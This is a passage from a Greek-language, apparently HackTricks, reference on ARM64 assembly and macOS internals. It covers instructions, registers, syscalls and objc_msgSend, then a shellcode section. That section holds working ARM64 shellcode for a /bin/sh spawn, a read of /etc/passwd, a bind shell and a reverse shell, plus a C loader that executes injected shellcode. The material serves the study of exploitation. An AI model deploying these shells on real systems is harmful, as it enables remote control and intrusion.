— Αυτό υπολογίζει τη διεύθυνση σελίδας τουsymbol
και την αποθηκεύει στοx0
. -
ldrsw
: Φόρτωση μιας υπογεγραμμένης 32-bit τιμής από τη μνήμη και επέκταση του σήματος σε 64 bits. -
Παράδειγμα:
ldrsw x0, [x1]
— Αυτό φορτώνει μια υπογεγραμμένη 32-bit τιμή από τη διεύθυνση μνήμης που υποδεικνύεται απόx1
, επεκτείνει το σήμα σε 64 bits και την αποθηκεύει στοx0
. -
stur
: Αποθήκευση μιας τιμής καταχωρητή σε μια διεύθυνση μνήμης, χρησιμοποιώντας ένα offset από έναν άλλο καταχωρητή. -
Παράδειγμα:
stur x0, [x1, #4]
— Αυτό αποθηκεύει την τιμή στοx0
στη διεύθυνση μνήμης που είναι 4 bytes μεγαλύτερη από τη διεύθυνση που είναι ήδη στοx1
. -
svc
: Κάνει μια κλήση συστήματος. Σημαίνει "Κλήση Υπεύθυνου". Όταν ο επεξεργαστής εκτελεί αυτή την εντολή, μεταβαίνει από τη λειτουργία χρήστη σε λειτουργία πυρήνα και πηγαίνει σε μια συγκεκριμένη τοποθεσία στη μνήμη όπου βρίσκεται ο κωδικός χειρισμού κλήσεων συστήματος του πυρήνα. -
Παράδειγμα:
mov x8, 93 ; Φόρτωση του αριθμού κλήσης συστήματος για έξοδο (93) στον καταχωρητή x8.
mov x0, 0 ; Φόρτωση του κωδικού κατάστασης εξόδου (0) στον καταχωρητή x0.
svc 0 ; Κλήση του συστήματος.
Πρόλογος Συνάρτησης
- Αποθήκευση του καταχωρητή σύνδεσης και του δείκτη πλαισίου στο στοίβα:
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
- Ρύθμιση του νέου δείκτη πλαισίου:
mov x29, sp
(ρυθμίζει τον νέο δείκτη πλαισίου για την τρέχουσα συνάρτηση) - Δημιουργία χώρου στη στοίβα για τοπικές μεταβλητές (αν χρειάζεται):
sub sp, sp, <size>
(όπου<size>
είναι ο αριθμός των byte που χρειάζονται)
Επίλογος Συνάρτησης
- Αποδέσμευση τοπικών μεταβλητών (αν έχουν αποδεσμευτεί):
add sp, sp, <size>
- Αποκατάσταση του καταχωρητή σύνδεσης και του δείκτη πλαισίου:
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
- Return:
ret
(επιστρέφει τον έλεγχο στον καλούντα χρησιμοποιώντας τη διεύθυνση στο register σύνδεσης)
AARCH32 Κατάσταση Εκτέλεσης
Armv8-A υποστηρίζει την εκτέλεση 32-bit προγραμμάτων. AArch32 μπορεί να εκτελείται σε ένα από δύο σύνολα εντολών: A32
και T32
και μπορεί να αλλάξει μεταξύ τους μέσω interworking
.
Προνομιακά 64-bit προγράμματα μπορούν να προγραμματίσουν την εκτέλεση 32-bit προγραμμάτων εκτελώντας μια μεταφορά επιπέδου εξαίρεσης στο χαμηλότερο προνομιακό 32-bit.
Σημειώστε ότι η μετάβαση από 64-bit σε 32-bit συμβαίνει με μια μείωση του επιπέδου εξαίρεσης (για παράδειγμα, ένα 64-bit πρόγραμμα σε EL1 που ενεργοποιεί ένα πρόγραμμα σε EL0). Αυτό γίνεται ρυθμίζοντας το bit 4 του SPSR_ELx
ειδικού καταχωρητή σε 1 όταν το νήμα διαδικασίας AArch32
είναι έτοιμο να εκτελεστεί και το υπόλοιπο του SPSR_ELx
αποθηκεύει το CPSR των προγραμμάτων AArch32
. Στη συνέχεια, η προνομιακή διαδικασία καλεί την εντολή ERET
ώστε ο επεξεργαστής να μεταβεί σε AArch32
εισερχόμενος σε A32 ή T32 ανάλογα με το CPSR**.**
Η interworking
συμβαίνει χρησιμοποιώντας τα bits J και T του CPSR. J=0
και T=0
σημαίνει A32
και J=0
και T=1
σημαίνει T32. Αυτό μεταφράζεται βασικά σε ρύθμιση του χαμηλότερου bit σε 1 για να υποδείξει ότι το σύνολο εντολών είναι T32.
Αυτό ρυθμίζεται κατά τη διάρκεια των εντολών διακλάδωσης interworking, αλλά μπορεί επίσης να ρυθμιστεί άμεσα με άλλες εντολές όταν το PC ρυθμίζεται ως ο καταχωρητής προορισμού. Παράδειγμα:
Ένα άλλο παράδειγμα:
_start:
.code 32 ; Begin using A32
add r4, pc, #1 ; Here PC is already pointing to "mov r0, #0"
bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
.code 16:
mov r0, #0
mov r0, #8
Registers
Υπάρχουν 16 32-bit καταχωρητές (r0-r15). Από r0 έως r14 μπορούν να χρησιμοποιηθούν για οποιαδήποτε λειτουργία, ωστόσο μερικοί από αυτούς είναι συνήθως δεσμευμένοι:
r15
: Μετρητής προγράμματος (πάντα). Περιέχει τη διεύθυνση της επόμενης εντολής. Στην A32 τρέχον + 8, στην T32, τρέχον + 4.r11
: Δείκτης πλαισίουr12
: Καταχωρητής κλήσης ενδοδιαδικασίαςr13
: Δείκτης στοίβαςr14
: Καταχωρητής σύνδεσης
Επιπλέον, οι καταχωρητές υποστηρίζονται σε banked registries
. Αυτές είναι θέσεις που αποθηκεύουν τις τιμές των καταχωρητών επιτρέποντας την εκτέλεση γρήγορων εναλλαγών πλαισίου στη διαχείριση εξαιρέσεων και σε προνομιακές λειτουργίες για να αποφευχθεί η ανάγκη να αποθηκεύονται και να επαναφέρονται οι καταχωρητές χειροκίνητα κάθε φορά.
Αυτό γίνεται με την αποθήκευση της κατάστασης του επεξεργαστή από το CPSR
στο SPSR
της λειτουργίας του επεξεργαστή στην οποία λαμβάνεται η εξαίρεση. Κατά την επιστροφή από την εξαίρεση, το CPSR
επαναφέρεται από το SPSR
.
CPSR - Current Program Status Register
Στην AArch32 το CPSR λειτουργεί παρόμοια με το PSTATE
στην AArch64 και αποθηκεύεται επίσης στο SPSR_ELx
όταν λαμβάνεται μια εξαίρεση για να αποκατασταθεί αργότερα η εκτέλεση:
.png)
Τα πεδία είναι χωρισμένα σε ορισμένες ομάδες:
- Application Program Status Register (APSR): Αριθμητικές σημαίες και προσβάσιμες από EL0
- Execution State Registers: Συμπεριφορά διαδικασίας (διαχειρίζεται από το OS).
Application Program Status Register (APSR)
- Οι σημαίες
N
,Z
,C
,V
(όπως στην AArch64) - Η σημαία
Q
: Ρυθμίζεται σε 1 όποτε συμβαίνει κορεσμός ακέραιων αριθμών κατά την εκτέλεση μιας εξειδικευμένης εντολής αριθμητικής κορεσμού. Μόλις ρυθμιστεί σε1
, θα διατηρήσει την τιμή μέχρι να ρυθμιστεί χειροκίνητα σε 0. Επιπλέον, δεν υπάρχει καμία εντολή που να ελέγχει την τιμή της έμμεσα, πρέπει να γίνει διαβάζοντάς την χειροκίνητα. - Οι σημαίες
GE
(Μεγαλύτερο ή ίσο): Χρησιμοποιούνται σε SIMD (Single Instruction, Multiple Data) λειτουργίες, όπως "παράλληλη πρόσθεση" και "παράλληλη αφαίρεση". Αυτές οι λειτουργίες επιτρέπουν την επεξεργασία πολλών σημείων δεδομένων σε μία μόνο εντολή.
Για παράδειγμα, η εντολή UADD8
προσθέτει τέσσερις ζεύγους byte (από δύο 32-bit τελεστές) παράλληλα και αποθηκεύει τα αποτελέσματα σε έναν 32-bit καταχωρητή. Στη συνέχεια ρυθμίζει τις σημαίες GE
στο APSR
με βάση αυτά τα αποτελέσματα. Κάθε σημαία GE αντιστοιχεί σε μία από τις προσθέσεις byte, υποδεικνύοντας αν η πρόσθεση για αυτό το ζεύγος byte υπερχειλίζει.
Η εντολή SEL
χρησιμοποιεί αυτές τις σημαίες GE για να εκτελέσει συνθήκες δράσης.
Execution State Registers
- Τα bits
J
καιT
:J
πρέπει να είναι 0 και ανT
είναι 0 χρησιμοποιείται το σύνολο εντολών A32, και αν είναι 1, χρησιμοποιείται το T32. - IT Block State Register (
ITSTATE
): Αυτά είναι τα bits από 10-15 και 25-26. Αποθηκεύουν συνθήκες για εντολές μέσα σε μια ομάδα με πρόθεμαIT
. - Το bit
E
: Υποδεικνύει την endianness. - Bits Μόδας και Μάσκας Εξαίρεσης (0-4): Καθορίζουν την τρέχουσα κατάσταση εκτέλεσης. Το 5ο υποδεικνύει αν το πρόγραμμα εκτελείται ως 32bit (ένα 1) ή 64bit (ένα 0). Τα άλλα 4 αντιπροσωπεύουν τη λειτουργία εξαίρεσης που χρησιμοποιείται αυτή τη στιγμή (όταν συμβαίνει μια εξαίρεση και διαχειρίζεται). Ο αριθμός που έχει ρυθμιστεί υποδεικνύει την τρέχουσα προτεραιότητα σε περίπτωση που προκληθεί άλλη εξαίρεση ενώ αυτή διαχειρίζεται.
.png)
AIF
: Ορισμένες εξαιρέσεις μπορούν να απενεργοποιηθούν χρησιμοποιώντας τα bitsA
,I
,F
. ΑνA
είναι 1 σημαίνει ότι θα προκληθούν ασύγχρονοι τερματισμοί. ΤοI
ρυθμίζει την αντίδραση σε εξωτερικά αιτήματα διακοπής Interrupts Requests (IRQs). και το F σχετίζεται με Fast Interrupt Requests (FIRs).
macOS
BSD syscalls
Δείτε το syscalls.master. Οι BSD syscalls θα έχουν x16 > 0.
Mach Traps
Δείτε στο syscall_sw.c τον mach_trap_table
και στο mach_traps.h τα πρωτότυπα. Ο μέγιστος αριθμός Mach traps είναι MACH_TRAP_TABLE_COUNT
= 128. Οι Mach traps θα έχουν x16 < 0, οπότε πρέπει να καλέσετε τους αριθμούς από την προηγούμενη λίστα με ένα μείον: _kernelrpc_mach_vm_allocate_trap
είναι -10
.
Μπορείτε επίσης να ελέγξετε το libsystem_kernel.dylib
σε έναν αποσυμπιεστή για να βρείτε πώς να καλέσετε αυτές τις (και τις BSD) syscalls:
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
Σημειώστε ότι Ida και Ghidra μπορούν επίσης να αποσυμπιέσουν συγκεκριμένα dylibs από την κρυφή μνήμη απλά περνώντας την κρυφή μνήμη.
tip
Μερικές φορές είναι πιο εύκολο να ελέγξετε τον αποσυμπιεσμένο κώδικα από το libsystem_kernel.dylib
παρά να ελέγξετε τον πηγαίο κώδικα επειδή ο κώδικας αρκετών syscalls (BSD και Mach) παράγεται μέσω scripts (ελέγξτε τα σχόλια στον πηγαίο κώδικα) ενώ στο dylib μπορείτε να βρείτε τι καλείται.
machdep calls
Το XNU υποστηρίζει έναν άλλο τύπο κλήσεων που ονομάζονται εξαρτώμενες από τη μηχανή. Οι αριθμοί αυτών των κλήσεων εξαρτώνται από την αρχιτεκτονική και ούτε οι κλήσεις ούτε οι αριθμοί είναι εγγυημένο ότι θα παραμείνουν σταθεροί.
comm page
Αυτή είναι μια σελίδα μνήμης που ανήκει στον πυρήνα και είναι χαρτογραφημένη στο χώρο διευθύνσεων κάθε διεργασίας χρήστη. Σκοπός της είναι να διευκολύνει τη μετάβαση από τη λειτουργία χρήστη στον χώρο του πυρήνα πιο γρήγορα από τη χρήση syscalls για υπηρεσίες πυρήνα που χρησιμοποιούνται τόσο πολύ ώστε αυτή η μετάβαση θα ήταν πολύ αναποτελεσματική.
Για παράδειγμα, η κλήση gettimeofdate
διαβάζει την τιμή του timeval
απευθείας από τη σελίδα comm.
objc_msgSend
Είναι πολύ συνηθισμένο να βρείτε αυτή τη συνάρτηση να χρησιμοποιείται σε προγράμματα Objective-C ή Swift. Αυτή η συνάρτηση επιτρέπει την κλήση μιας μεθόδου ενός αντικειμένου Objective-C.
Παράμετροι (περισσότερες πληροφορίες στα docs):
- x0: self -> Δείκτης στην περίπτωση
- x1: op -> Επιλογέας της μεθόδου
- x2... -> Υπόλοιπες παράμετροι της καλούμενης μεθόδου
Έτσι, αν βάλετε σημείο διακοπής πριν από τον κλάδο σε αυτή τη συνάρτηση, μπορείτε εύκολα να βρείτε τι καλείται στο lldb με (σε αυτό το παράδειγμα το αντικείμενο καλεί ένα αντικείμενο από το NSConcreteTask
που θα εκτελέσει μια εντολή):
# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>
(lldb) x/s $x1
0x1736d3a6e: "launch"
(lldb) po [$x0 launchPath]
/bin/sh
(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)
tip
Ρυθμίζοντας τη μεταβλητή περιβάλλοντος NSObjCMessageLoggingEnabled=1
είναι δυνατή η καταγραφή όταν καλείται αυτή η συνάρτηση σε ένα αρχείο όπως το /tmp/msgSends-pid
.
Επιπλέον, ρυθμίζοντας OBJC_HELP=1
και καλώντας οποιοδήποτε δυαδικό, μπορείτε να δείτε άλλες μεταβλητές περιβάλλοντος που θα μπορούσατε να χρησιμοποιήσετε για να log όταν συμβαίνουν ορισμένες ενέργειες Objc-C.
Όταν καλείται αυτή η συνάρτηση, είναι απαραίτητο να βρείτε τη μέθοδο που καλείται της υποδεικνυόμενης παρουσίας, για αυτό γίνονται διαφορετικές αναζητήσεις:
- Εκτέλεση αισιόδοξης αναζήτησης cache:
- Αν είναι επιτυχής, τελειώσαμε
- Απόκτηση runtimeLock (ανάγνωση)
- Αν (realize && !cls->realized) πραγματοποιήστε την πραγματοποίηση της κλάσης
- Αν (initialize && !cls->initialized) πραγματοποιήστε την αρχικοποίηση της κλάσης
- Δοκιμάστε την cache της κλάσης:
- Αν είναι επιτυχής, τελειώσαμε
- Δοκιμάστε τη λίστα μεθόδων της κλάσης:
- Αν βρεθεί, γεμίστε την cache και τελειώσαμε
- Δοκιμάστε την cache της υπερκλάσης:
- Αν είναι επιτυχής, τελειώσαμε
- Δοκιμάστε τη λίστα μεθόδων της υπερκλάσης:
- Αν βρεθεί, γεμίστε την cache και τελειώσαμε
- Αν (resolver) δοκιμάστε τον επιλύτη μεθόδων και επαναλάβετε από την αναζήτηση κλάσης
- Αν είστε ακόμα εδώ (= όλα τα άλλα έχουν αποτύχει) δοκιμάστε τον προωθητή
Shellcodes
Για να μεταγλωττίσετε:
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
Για να εξαγάγετε τα bytes:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
Για νεότερες εκδόσεις macOS:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
Κώδικας C για δοκιμή του shellcode
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char shellcode[] = "<INSERT SHELLCODE HERE>";
int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr;
sc();
return 0;
}
Shell
Ληφθεί από εδώ και εξηγείται.
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
Διαβάστε με cat
Ο στόχος είναι να εκτελέσετε execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)
, έτσι ώστε το δεύτερο επιχείρημα (x1) να είναι ένας πίνακας παραμέτρων (που στη μνήμη σημαίνει μια στοίβα διευθύνσεων).
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1] ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path ; Get the address of "/etc/passwd"
str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
adr x0, cat_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
Καλέστε την εντολή με sh από ένα fork ώστε η κύρια διαδικασία να μην τερματιστεί
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the fork syscall
mov x16, #2 ; Load the syscall number for fork (2) into x8
svc 0 ; Make the syscall
cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop ; If not child process, loop
; Prepare the arguments for the execve syscall
sub sp, sp, #64 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1] ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option ; Get the address of "-c"
str x0, [x1, #8] ; Store the address of "-c" as the second argument
adr x0, touch_command ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments)
adr x0, sh_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
_exit:
mov x16, #1 ; Load the syscall number for exit (1) into x8
mov x0, #0 ; Set exit status code to 0
svc 0 ; Make the syscall
_loop: b _loop
sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
Bind shell
Bind shell από https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s σε port 4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #104
svc #0x1337
call_listen:
// listen(s, 2)
mvn x0, x3
lsr x1, x2, #3
mov x16, #106
svc #0x1337
call_accept:
// c = accept(s, 0, 0)
mvn x0, x3
mov x1, xzr
mov x2, xzr
mov x16, #30
svc #0x1337
mvn x3, x0
lsr x2, x16, #4
lsl x2, x2, #2
call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Reverse shell
Από https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell σε 127.0.0.1:4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #98
svc #0x1337
lsr x2, x2, #2
call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.